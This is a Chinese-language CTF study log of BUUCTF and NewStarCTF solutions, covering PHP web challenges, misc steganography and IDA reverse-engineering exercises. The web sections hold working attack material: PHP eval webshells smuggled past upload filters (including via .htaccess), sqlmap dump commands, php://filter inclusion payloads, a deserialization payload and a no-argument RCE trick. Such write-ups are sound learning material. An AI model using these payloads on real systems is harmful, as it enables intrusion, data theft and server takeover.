2024 CTF 做题记录 & 技巧/知识点总结

以下所有题均可以在 https://buuoj.cn/ 找到

如果有问题欢迎联系作者,reverber@qq.com


web

references:
hello-ctf
ctf-wiki

php 语法基础

references:

php-noob

1.php 脚本的基本格式:

<?php
//coding here
?>

php 代码同样以 ; 结尾。

php 文件的后缀名大多是 php ,也有诸如 php5 php4 phps 之类,如果普通的后缀名被拦截不妨试试其他的。

php 变量用 $ 来定义,大小写敏感,但是不用声明数据类型。其他命名规则基本与 c++ 相同。

$myvar=114514;
$myvar2="1145141";

注释与 c++ 相同。

2.php 输出

echo 或者 print 使用方法:

echo $var1;
print $var1;

echo "a","b","c";

区别在于 print 只能输出单个字符串,只返回1 echo 可以输出多个。

print_r 可以输出数组,var_dump 也可以,区别大概在于 var_dump 可以输出数据类型。

3.php 比较

  • 松散比较:使用两个等号 == 比较,只比较值,不比较类型。
  • 严格比较:用三个等号 === 比较,除了比较值,也比较类型。


4.php 数组

使用 array() 函数来创建数组,会自动分配下标。

$test=array("a","b","c");

此时 $test[0]="a",$test[1]="b"

关联数组(有点像 c++ 的 map

$age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");

or

$age['Peter']="35";
$age['Ben']="37";
$age['Joe']="43"; 

然后可以指定使用的键。

<?php
$age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");
echo "Peter is " . $age['Peter'] . " years old.";
?>

5.php 函数

基本函数和 c++ 长得差不多。

抽象的地方在于以下

<?php
class Foo
{
    function Variable()
    {
        $name = 'Bar';
        $this->$name(); // 调用 Bar() 方法
    }

    function Bar()
    {
        echo "This is Bar";
    }
}

$foo = new Foo();
$funcname = "Variable";
$foo->$funcname();  // 调用 $foo->Variable()

?>

6.php 魔术常量

形如 __FILE__ 这样的 __XXX__ 预定义常量,被称为魔术常量。

__FILE__ //返回文件的完整路径和文件名

highlight_file(__FILE__); //代码高亮的显示当前文件内容

__LINE__

//文件中的当前行号。

__DIR__

//文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录。

//它等价于 dirname(__FILE__)。除非是根目录,否则目录中名不包括末尾的斜杠。(PHP 5.3.0中新增) 
  1. ctf 常用

hello-ctf


[SWPUCTF 2021 新生赛]easy_sql

我可能不知道怎么写参数,但是我会用 sqlmap.

python3 sqlmap.py -u .... --dump testdb

另外说一句,直接用 --dump-all 是很蠢的行为 因为可能会 dump 到 mysql 的配置数据库,显然对拿到 flag 没什么帮助。

try to use --dbs.

[SWPUCTF 2021 新生赛]jicao

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

简单的代码审计。

显然想要拿到 flag 只需要 post 一个内容为 wllmnb 的 id ,再在 json 把变量 x 赋值 wllm 即可。

用 hackbar 完成。

另:json

    JSONJavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。它基于 ECMAScriptEuropean Computer Manufacturers Association, 欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。

    JSON的值:
    3.1 JSON的构成: ws 值
    3.2值可以是对象、数组、数字、字符串或者三个字面值(falsenulltrue)中的一个。值中的字面值中的英文必须使用小写。
    3.2.1对象由花括号括起来的逗号分割的成员构成,成员是字符串键和上文所述的值由逗号分割的键值对组成,如:

{"name": "John Doe", "age": 18, "address": {"country" : "china", "zip-code": "10000"}}


    引用JSON中的对象可以包含多个键值对,并且有数组结构,该语言正是一次实现过程内容的描述。
    3.2.2数组是由方括号括起来的一组值构成,如:
    [3, 1, 4, 1, 5, 9, 2, 6]
    3.2.3 字符串与C或者Java的字符串非常相似。字符串是由双引号包围的任意数量Unicode字符的集合,使用反斜线转义。一个字符(character)即一个单独的字符串(character string)。
    3.2.4数字也与C或者Java的数值非常相似。除去未曾使用的八进制与十六进制格式。除去一些编码细节。

[SWPUCTF 2021 新生赛]easy_md5

 <?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?>
wrong!

需要 get 一个 name , post 一个 password

且需要 name 和 password 的值不相等但 md5 又要相等。

考点: php 弱比较

==不会对比类型
===也会对比类型

可以采用两个0e(php会将每个0e开头的哈希值解释为0)开头的哈希值进行绕过

弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0
代码审计:要求get获取的a和b的值要求不相等,但要求其md值相同

以下是一些字符串md5值以0e开头

QNKCDZO
240610708
s878926199a
s155964671a
s21587387a

payload:?a=QNKCDZO&b=240610708 即可绕过

也可以采用两个数组进行绕过(MD5无法对数组进行加密,因此返回值均为NULL)

另: isset 函数用来判断一个变量是否被声明 返回布尔类型。

[SWPUCTF 2021 新生赛]include

先告诉我们传入一个 file 试试,于是 ?file=114514

然后出现如下

 <?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

发现玄机在于 flag.php 但是 ?=flag.php 无回显。

于是我们想到使用 php 伪协议 把源代码转变成 base64 编码后再一次 decode 查看到源代码。

?file=php://filter/read=convert.base64-encode/resource=flag.php

关于 php 伪协议 https://www.php.cn/faq/481803.html

include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true

BUUCTF SQL COURSE 1

非常有参考意义的一道题。

打开之后显示了几个新闻 点击进去发现是用 example.com/#/content/1 这样的 url 查询的。我注入点呢?

网站提供了一个输入用户名密码的界面,我尝试 --data 但是发现竟然连接不上网站。

最后不得已去查了 WP ,发现可以 F12 在 Network 中找到请求 url , 并且需要使用 -random-agent

因为默认情况下 sqlmap 发送的请求的 header 中使用的 agent 都是 sqlmap ,所以非常容易被 WAF 过滤掉,所以需要使用 -random-agent.

http://b9c75a2c-32a0-4530-b944-bbc96d88cdb6.node5.buuoj.cn:81/backend/content_detail.php?id=1

赫然出现了注入点 id.

随后我们经典一手 sqlmap 起手,直接 --dbs 光速成功爆库 接下来就是慢慢 dump 找 flag 的过程。

在数据库中 dump 到用户名和密码 输入到网站提供的登陆界面,拿到 flag.

BUU UPLOAD COURSE 1

一道 upload 的裸题。

可以发现并不会对上传的文件进行过滤,但是会把上传的文件改为 .jpg

但是仍然可以执行 php 代码,所以使用一句话木马

<?php @eval(system($_POST["x"]));?>

用 antsword 连接即可。 cat /flag

[第二章 web进阶]死亡ping命令

学长领着做的。因为本机没有环境,贴一个别人的 WP 参考。

https://blog.csdn.net/qq_45414878/article/details/109672659

[第二章 web进阶]XSS闯关

非常抽象 xss ,让我的电脑旋转。

XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。

过关目标是在页面执行 alert() 函数。

  • 第一关
</head>
<body>
    <div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">welcome xss</span></div></div></div></div></div></div>
    

</body></html>

第一关并没有对可操控点 xss 进行过滤,而 html 可以用 script 标签执行 js 函数,所以直接传入 <script>alert()</script> 即可。

  • 第二关
<body>
    <div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">
    	<div id="ccc">
    		
    	</div>
    </span></div></div></div></div></div></div>
    <script type="text/javascript">
    	if(location.search == ""){
    		location.search = "?username=xss"
    	}
    	var username = 'xss';
    	document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
    </script>

</body></html>

可以看到这关使用了 escape() 函数进行过滤。

escape()函数:不会对数字、字母和* @ - _ + . / 进行编码,但其他所有的字符都会被转义序列替换

但是这里的 var username='xss'; 给了我们可乘之机。

NewStarCTF 2023

Begin of PHP

<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

显然一共是有五关,第一关是典中典 md5 弱比较

无需多言。GET /?key1[]=1&key2[]=2 HTTP/1.1

第二关是要同一个字符串的 sha1=md5,并且使用 post 方式
还是根据第一关的方式 sha1 函数同样会在处理数组时返回 null,所以只需要 post key3[]=1

第三关是需要key4 和 flag 的字符串比较结果等于0

strcmp 函数如果比较结果相等会返回0 str1>str2 返回大于0 反之亦然

但是如果传入数组其无法比较,会返回0

所以只需要传入key4[]=1 即可

第四关是需要一个变量并非数字 但是却要比2023 大

https://www.php.net/manual/zh/language.operators.comparison.php

详见 php 比较机制,如果一个数组和其他任何类型比较,数组总是更大

所以传入一个数组即可

key5[]=114514114514

php is_numeric 函数 bypass

最后是要传入一个 flag5 使得其每一位都不和正则表达式 a-z A-Z 0-9 冲突,且要为 true

只需要其不为空则为 true 随便传入一个字符即可 比如 flag5=......

拿到 flag。

Begin of HTTP

主要是 http 一些协议的练习

第一关是要 get 一个数据

第二关要 post 一个 secret 参数,而 secret参数藏在了某个地方 在 burpsuite 的 hex 里面直接搜 secret 发现在网页源代码里有一行注释 n3wst4rCTF2023g00000d

下一关是要认证我的 "power" 是不是 "ctfer" 那么就要在 http header 上找突破口了

http headers

power 对应 cookie 所以修改 cookie 即可

Cookie:power=ctfer

接下来需要使用 newstarctf 浏览器 那么只需要修改 user-agent

希望你是通过 newstarctf 而来的 修改 referer header

最后只有本地用户可以通过 修改 X-Real-IP 为 127.0.0.1

Begin of Upload

HTTP/1.1 200 OK
Server: openresty
Date: Sat, 17 Aug 2024 03:49:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1521
Connection: close
X-Powered-By: PHP/7.3.15
Vary: Accept-Encoding
Cache-Control: no-cache

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Upload</title>
    <style type="text/css">
        body {
            background-color: rgb(206, 240, 240);
        }
    </style>
    <script type="text/javascript">
        function validateForm() {
            var fileInput = document.getElementById("file");
            var file = fileInput.files[0];
            var allowedExtensions = ["jpg", "jpeg", "png", "gif"];
            var fileExtension = file.name.split('.').pop().toLowerCase();
            
            if (!file) {
                alert("Please select a file to upload.");
                return false;
            }
            
            if (!allowedExtensions.includes(fileExtension)) {
                alert("错误的拓展名,只允许上传: JPG, JPEG, PNG, GIF");
                return false;
            }
            
            return true;
        }
    </script>
</head>
<body>
<center>
    <br>
    <h1>Welcome to NewstarCTF</h1><br>
    <hr><br>
    <form action="/" method="post" enctype="multipart/form-data" onsubmit="return validateForm()">
        <input type="file" name="file" id="file"><br><br>
        <input type="submit" name="submit" value="Upload!!!">
    </form><br>
        <br><br>
    <img src="1.jpg" height="500px" width="450px">
</center>
</body>
</html>

可以看到有后缀名过滤,只允许上传 png jpg jpeg gif

所以只需要塞一个一句话木马进去 然后先上传 jpg 文件 使用 burpsuite 抓包把后缀名改为 php 即可

一句话木马<?php @eval($_POST['flag']) ?>

POST / HTTP/1.1
Host: d08de7eb-c04d-47d8-9ce6-7e91e5f9f6bc.node5.buuoj.cn:81
Content-Length: 315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://d08de7eb-c04d-47d8-9ce6-7e91e5f9f6bc.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywvufKGRuxyVe0bTO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://d08de7eb-c04d-47d8-9ce6-7e91e5f9f6bc.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarywvufKGRuxyVe0bTO
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg

<?php @eval($_POST['flag']) ?>
------WebKitFormBoundarywvufKGRuxyVe0bTO
Content-Disposition: form-data; name="submit"

Upload!!!
------WebKitFormBoundarywvufKGRuxyVe0bTO--

然后 send to repeater 就可以使用 post flag=system('ls /'); 查看文件

HTTP/1.1 200 OK
Server: openresty
Date: Sat, 17 Aug 2024 04:08:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.15
Vary: Accept-Encoding
Cache-Control: no-cache
Content-Length: 93

bin
boot
dev
etc
fllll4g
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

cat flag 即可

ErrorFlask

这个题多少有点幽默属性在的

打开网站提示你让你传入两个参数,number1 和 number2 然后会帮你加起来

其实到这里大多数人都会猜到可能是 ssti 毕竟题目名字就叫 errorflask

所以就按照提示传了两个参数 然后显示 not ssti,flag in source code

byd 你这不是此地无银三百两?

结果 ssti 发现无果,但是如果你不小心少传一个参数就会发现一个报错界面 然后报错界面里面展示了源码 源码里有 flag

我只能说啥比题。

R!C!E!

<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
}

开局展示了这样的代码

简单审计就会发现要 post 两个参数 密码是你传入 password 的 md5 然后 code 就是你传的第二个参数 eval

然后需要满足你密码的前六个字符是 c4d038 并且你传入的 eval 必须满足正则表达式 然后就可以通过 php eval 函数进行代码执行。

rce 我比较菜 先 bypass。

easy login

burpsuite 爆破题 也是个钓鱼题 不想写了

游戏高手

function gameover(){
    if(gameScore > 100000){
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "/api.php", true);
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            var response = JSON.parse(xhr.responseText);
            alert(response.message);
        }
        };
        var data = {
            score: gameScore,
        };
        xhr.send(JSON.stringify(data));
    }

让我把游戏玩到 100000 分 当然是做不到了

但是我们发现是可以伪造自己的分数 然后 stringify 形式发送 所以必须是标准的 json 数据格式 我就是在这里被卡了很久

最后发送 post 请求即可。

POST /api.php HTTP/1.1
Host: 54c7818f-ee7b-4258-ae0d-823ec2bcc241.node5.buuoj.cn:81
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

{"score":1000000}

include o.o

<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> nope

首先发现是把伪协议 base64 转换给 ban 掉了

但是会执行一步文件包含操作 所以思路还是往文件包含上走

一般来说都是先考虑 base64 encode 然后再考虑 php://input

不过以上两种方式这道题都不好用

所以寻找 php filter 的其他协议

发现可以使用 utf 协议来转换

payload:http://54d616d5-2834-4750-89d2-c7a5c9ba9493.node5.buuoj.cn:81/?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php

ez_sql

直接使用 sqlmap 和他爆了

首先一手 --dbs 起手 发现有个数据库叫做 ctf

然后直接 --dump ctf 直接把 flag 爆出来了

Upload again!

首先如果你传入 php 的话会被拦截掉。

然后你如果想使用之前的套路 burpsuite 抓包改后缀的话你会发现也会被拦截 说明后端对内容做了审查。

不过可以注意到服务器是 apache ,而 apache 有一个配置文件叫做 .htaccess

具体来说 你可以指定不同后缀名文件的处理方式 具体到这题来说 你可以让服务器把 .jpg 文件当作 .php 文件来处理。

所以创建 .htaccess 文件并做如下配置

Addtype application/x-httpd-php .jpg

但是如果此时传入一句话木马还是会发现无法执行 通过 fuzz test 可以发现文件过滤了 <?php 这样的内容

所以此时可以使用 javascript 来构建一句话木马,如下

<script language="php"> eval($_POST['attack']); </script>

通过加入 script 标签并且指明类型即可。

一些值得注意的地方: .htaccess 文件只会在你传入的目录下生效 并且目录的优先级大于根目录的优先级 可以覆盖。

Unserialize?

非常值得学习的序列化和反序列化内容。

reference

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

@unserialize($_POST['unser']);
?>

首先显然的 这里有一个魔法函数 __destruct 在每次对象被销毁的时候会被调用 具体到这题来说 你调用完之后并不会对对象进行任何存储操作 所以对象会被即刻销毁。

接下来是一个正则表达函数 阻挡了一下我们查询 flag , i 表示不区分大小写 如果能 bypass 匹配就可以执行 cmd

在下面是我们 POST 的内容 会进行反序列化。

所以我们的思想就很明确了,首先修改 cmd ,然后执行序列化并输出 之后把序列化的内容传给 unser 并且进行反序列化即可。

打开本地 ide,

于是我们可以 private $cmd="ls"; 直接修改 cmd 然后在主函数中

$e = new evil();
echo serialize($e)

-> O:4:"evil":1:{s:9:"evil cmd";s:2:"ls";}

但是 post 发现并没有成功 发现是 url 编码的原因 所以

echo urlencode(serialize($e));

之后传参即可, bypass 这个正则表达式很简单 可以使用 head 命令来查看文件或者通过转义字符等等。

R!C!E

突然发现我上一道 rce 还没有补 不过先做这个吧。

打开网页告诉你可能泄露了一些信息 所以要进行信息收集 可以使用 dirsearch

接下来会发现扫到了 .git 所以可以使用 githack 来下载原项目 这样就拿到了网站源码

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

发现了这样的代码 注意到第一个 preg_replace 函数 其中的表达式非常抽象

因为我是不会 regex 的 所以我理解了很久也没有完全懂 不过这里是一个公式化题目 叫做无参数 rce

上面的 rex 会过滤到所有不是形如 func1(func2(fuc3())); 这样子套娃的代码

但是这样就很难办了 常用的 payload 都是有各种符号的 但是这里只能接受单词和括号。

reference

其中的大部分命令都被正则表达式过滤掉了 但是 getallheaders 是可以用的 所以我们先把所有可用的请求头打印出来

接下来发现只能用 next() 来遍历这些数组 但是第一个请求头的参数我们控制不了

所以发现一个 array_reverse 函数 发现最后一个我们可以自己塞一个请求头来控制,比如

cookie:ls

这样就可以执行任意代码了。

哎, rce ,困难的。

include_pear

这个所谓的 pear 指的就是 pearcmd

是一个用来管理 php 依赖的命令行 某个版本后的 docker 都会默认安装。

reference

直接使用上述网站提供的 payload 即可,属于是一个你知道就会做 不知道就卡的题。

medium sql

可以用 sqlmap 的布尔盲注爆出来。

Misc

CyberChef's Secret

学习 cyberchef 的使用方法

大概就是一个 smart decode 的网站 你把字符串输进去可以自动加解密

机密图片

文件下载下来是一个二维码 扫描发现无重要内容

此时想到大概率是图像隐写 所以使用 stegsolve 工具来解密

可能是 lsb 隐写。lsb 隐写的原理是在一张 rgb 图片中每一种颜色的最低一位塞入信息 所以可以存储三个 bit 的信息 而且由于人眼看不出最低位改变后图片的变化 所以可以以此来隐写信息

打开 stegsolve 中的 data extract 选择 rgb 的最后一位 点击 preview 即可。

流量!鲨鱼!

这题目一眼需要用到抓包软件 wireshark

在导出对象中选择 http 可以找到 base64 编码的 flag。

压缩包们

下载得到一个没有后缀的文件 但是把后缀名改成 zip 可以用 360压缩 直接打开 不过他问你要密码

所以把原文件扔到 010 editor 看看是不是伪加密 发现里面藏了一串 base64

SSBsaWtlIHNpeC1kaWdpdCBudW1iZXJzIGJlY2F1c2UgdGhleSBhcmUgdmVyeSBjb25jaXNlIGFuZCBlYXN5IHRvIHJlbWVtYmVyLg==

解码完说是六位密码 直接爆破即可。

空白格

第一次听说有 white space 隐写 直接在线网站解密即可

隐秘的眼睛

图片里有很多圈 所以是 silenteye 藏东西了 用 silenteye 即可。

Reverse

一个基本概念:

加壳的全称应该是可执行程序资源压缩,是保护文件的常用手段。加壳过的程序可以直接运行,但是不能查看源代码。要经过脱壳才可以查看源代码。
加壳是利用特殊的算法,对EXE、DLL文件里的资源进行压缩、加密。类似WINZIP 的效果,只不过这个压缩之后的文件,可以独立运行,解压过程完全隐蔽,都在内存中完成。它们附加在原程序上通过Windows加载器载入内存后,先于原始程序执行,得到控制权,执行过程中对原始程序进行解密、还原,还原完成后再把控制权交还给原始程序,执行原来的代码部分。加上外壳后,原始程序代码在磁盘文件中一般是以加密后的形式存在的,只在执行时在内存中还原,这样就可以比较有效地防止破解者对程序文件的非法修改,同时也可以防止程序被静态反编译。
壳的类型通常分为压缩壳和加密壳两类。压缩壳的特点是减小软件体积大小,加密保护不是重点。加密壳种类比较多,不同的壳侧重点不同,一些壳单纯保护程序,另一些壳提供额外的功能,如提供注册机制、使用次数、时间限制等。

ida 快捷键 f5 转成 c 代码 shift+f12 看到所有字符串

easy_RE

用 ida 打开可以看到前一半 flag 然后 shift+f12 检索字符串或者找到 main 函数可以看到后一半 flag

push    rbp
push    rbx
sub     rsp, 0A8h
lea     rbp, [rsp+0B0h+var_30]
call    __main
mov     [rbp+30h+var_90], 66h ; 'f'
mov     [rbp+30h+var_8C], 6Ch ; 'l'
mov     [rbp+30h+var_88], 61h ; 'a'
mov     [rbp+30h+var_84], 67h ; 'g'
mov     [rbp+30h+var_80], 7Bh ; '{'
mov     [rbp+30h+var_7C], 77h ; 'w'
mov     [rbp+30h+var_78], 65h ; 'e'
mov     [rbp+30h+var_74], 31h ; '1'
mov     [rbp+30h+var_70], 63h ; 'c'
mov     [rbp+30h+var_6C], 30h ; '0'
mov     [rbp+30h+var_68], 6Dh ; 'm'

----
std::string::string(v6, "e_to_rev3rse!!}", &v9);

buuctf reverse1

很有启发意义的一道题,原因是看到了一篇写的非常好的 wp

reference

首先可以先使用 shift+f12 查看字符串,然后看到了类似 flag is right 的字样,有这种字符串的函数一般就是主函数了

双击这个字符串,可以看到字符串的位置 然后ctrl+x 可以找到这个字符串所在的函数

函数内容如下(f4 查看 C语言风格 伪代码)

__int64 sub_1400118C0()
{
  char *v0; // rdi
  __int64 i; // rcx
  size_t v2; // rax
  char v4[36]; // [rsp+0h] [rbp-20h] BYREF
  int j; // [rsp+24h] [rbp+4h]
  char Str1[224]; // [rsp+48h] [rbp+28h] BYREF
  __int64 v7; // [rsp+128h] [rbp+108h]

  v0 = v4;
  for ( i = 82i64; i; --i )
  {
    *(_DWORD *)v0 = '\xCC\xCC\xCC\xCC';
    v0 += '\x04';
  }
  for ( j = '\0'; ; ++j )
  {
    v7 = j;
    if ( j > j_strlen(Str2) )
      break;
    if ( Str2[j] == 'o' )
      Str2[j] = '0';
  }
  sub_1400111D1("input the flag:");
  sub_14001128F("%20s", Str1);//scanf
  v2 = j_strlen(Str2);
  if ( !strncmp(Str1, Str2, v2) )
    sub_1400111D1("this is the right flag!\n"); // printf
  else
    sub_1400111D1("wrong flag\n");
  sub_14001113B(v4, &unk_140019D00);
  return 0i64;
}

输入内容是str1

首先可以看到有两个 str 然后执行了类似于 c++ 中 strcmp 这样的函数 如果两个字符串相同的话会返回 0

然后可以在之前的字符串窗口发现 str2 的值是已知的 为 {hello_world}

但是如果你直接提交上述字符串的话是错误的,你会发现到程序对字符串做了一些处理

  for ( j = 0; ; ++j )
  {
    v7 = j;
    if ( j > j_strlen(Str2) )
      break;
    if ( Str2[j] == 'o' )
      Str2[j] = '0';
  }

上述循环遍历了整个字符串 把所有的 'o' 改为了 '0'

(trick:在ida中选中一个数字按 R 可以显示其 ascii 码转义后的字符)

所以拿来和 str1 比较的字符串就变成了 {hell0_w0rld}

所以 flag 就是 flag{hell0_w0rld}

总结一下拿到一个 re 题的简易流程:

先看看有没有壳+脱壳。

首先可以 shift+f12 查询所有可见的字符串 然后尝试定位主函数所在位置 对其进行标记

如果没有明显的字符串提示就在各个函数之间寻找一下输入等操作

有时候 ida 也会把 main 函数标出,可以直接在函数界面 ctrl+f

接下来分析程序流程,尝试标记各个子函数 分析其作用

最后根据程序流程编写相应的脚本或者直接进行手玩。

reverse2

很好的应证了我上述的套路

首先先 shift+f12 起手 看到了 flag 相关字符串,同时 ida 也把 main 函数标了出来

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int stat_loc; // [rsp+4h] [rbp-3Ch] BYREF
  int i; // [rsp+8h] [rbp-38h]
  __pid_t pid; // [rsp+Ch] [rbp-34h]
  char s2[24]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v8; // [rsp+28h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  pid = fork();
  if ( pid )
  {
    waitpid(pid, &stat_loc, 0);
  }
  else
  {
    for ( i = 0; i <= strlen(&flag); ++i )      // hacking_for_fun}
    {
      if ( *(&flag + i) == 'i' || *(&flag + i) == 'r' )// hack1ng_fo1_fun}
        *(&flag + i) = '1';
    }
  }
  printf("input the flag:");
  __isoc99_scanf("%20s", s2);
  if ( !strcmp(&flag, s2) )
    return puts("this is the right flag!");
  else
    return puts("wrong flag!");

找到了 flag 一开始是 hacking_for_fun}

在经过程序遍历替换之后变成了 hack1ng_fo1_fun}

接下来我一直认为这只是一半的 flag 毕竟只有一个大括号 所以我找了半天另一半

最后直接绷不住了套了前大括号加上 flag 直接过了。

内涵的软件

我曰里吗,sb题

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  char v4[4]; // [esp+4Ch] [ebp-Ch] BYREF
  const char *v5; // [esp+50h] [ebp-8h]
  int v6; // [esp+54h] [ebp-4h]

  v6 = 5;
  v5 = "DBAPP{49d3c93df25caad81232130f3d2ebfad}";
  while ( v6 >= 0 )
  {
    printf(&byte_4250EC, v6);
    j_proc();
    --v6;
  }
  printf(asc_425088);
  v4[0] = 1;
  scanf("%c", v4);
  if ( v4[0] == 'Y' )
  {
    printf(aOd);                                // OD
    return j_proc();
  }
  else
  {
    if ( v4[0] == 'N' )
      printf(&byte_425034);
    else
      printf(&byte_42501C);
    return j_proc();
  }
}

主函数如图,我看到上面那个 v5 长得很像 flag 的形式,但是大括号前的字母不是 flag

所以我猜测这是个什么神秘加密

结果找了半天直接把字符串的 DBAPP 换成 flag 就过了

什么 rz 玩意/ch

新年快乐

一开始拿到 exe 直接用 ida 打开发现一共就两个函数 有一个函数里还都是不知道在干什么的一堆莫名数字运算。

发现是加了混淆代码,也就是我们常说的

所以用一个神奇小工具脱壳 然后 shift+f12 发现 flag.

 sub_401910();
  strcpy(Str2, "HappyNewYear!");
  *(_WORD *)Str1 = word_40306B;
  memset(&Str1[2], 0, 0x1Eu);
  printf("please input the true flag:");
  scanf("%s", Str1);
  if ( !strncmp(Str1, Str2, strlen(Str2)) )
    return puts(aThisIsTrueFlag);
  else
    return puts(Buffer);
}

xor

主函数已经表明。

  memset(__b, 0, 0x100uLL);
  printf("Input your flag:\n");
  get_line(__b, 256LL);
  if ( strlen(__b) != 33 )
    goto LABEL_7;                               // failed
                                                // length is 33
  for ( i = 1; i < 33; ++i )
    __b[i] ^= __b[i - 1];
  if ( !strncmp(__b, global, 0x21uLL) )         // what is global??????
                                                // f
                                                // 
    printf("Success");
  else
LABEL_7:
    printf("Failed");
  return 0;
}

用户输入 flag 然后判断长度是否为 33 接下来和 global 比较,而 bi 的每一位都和前一位做了异或处理,由异或的性质显然,再异或一次就能还原原字符串,写个小脚本即可。

#include <bits/stdc++.h>

using namespace std;
typedef long long ll;
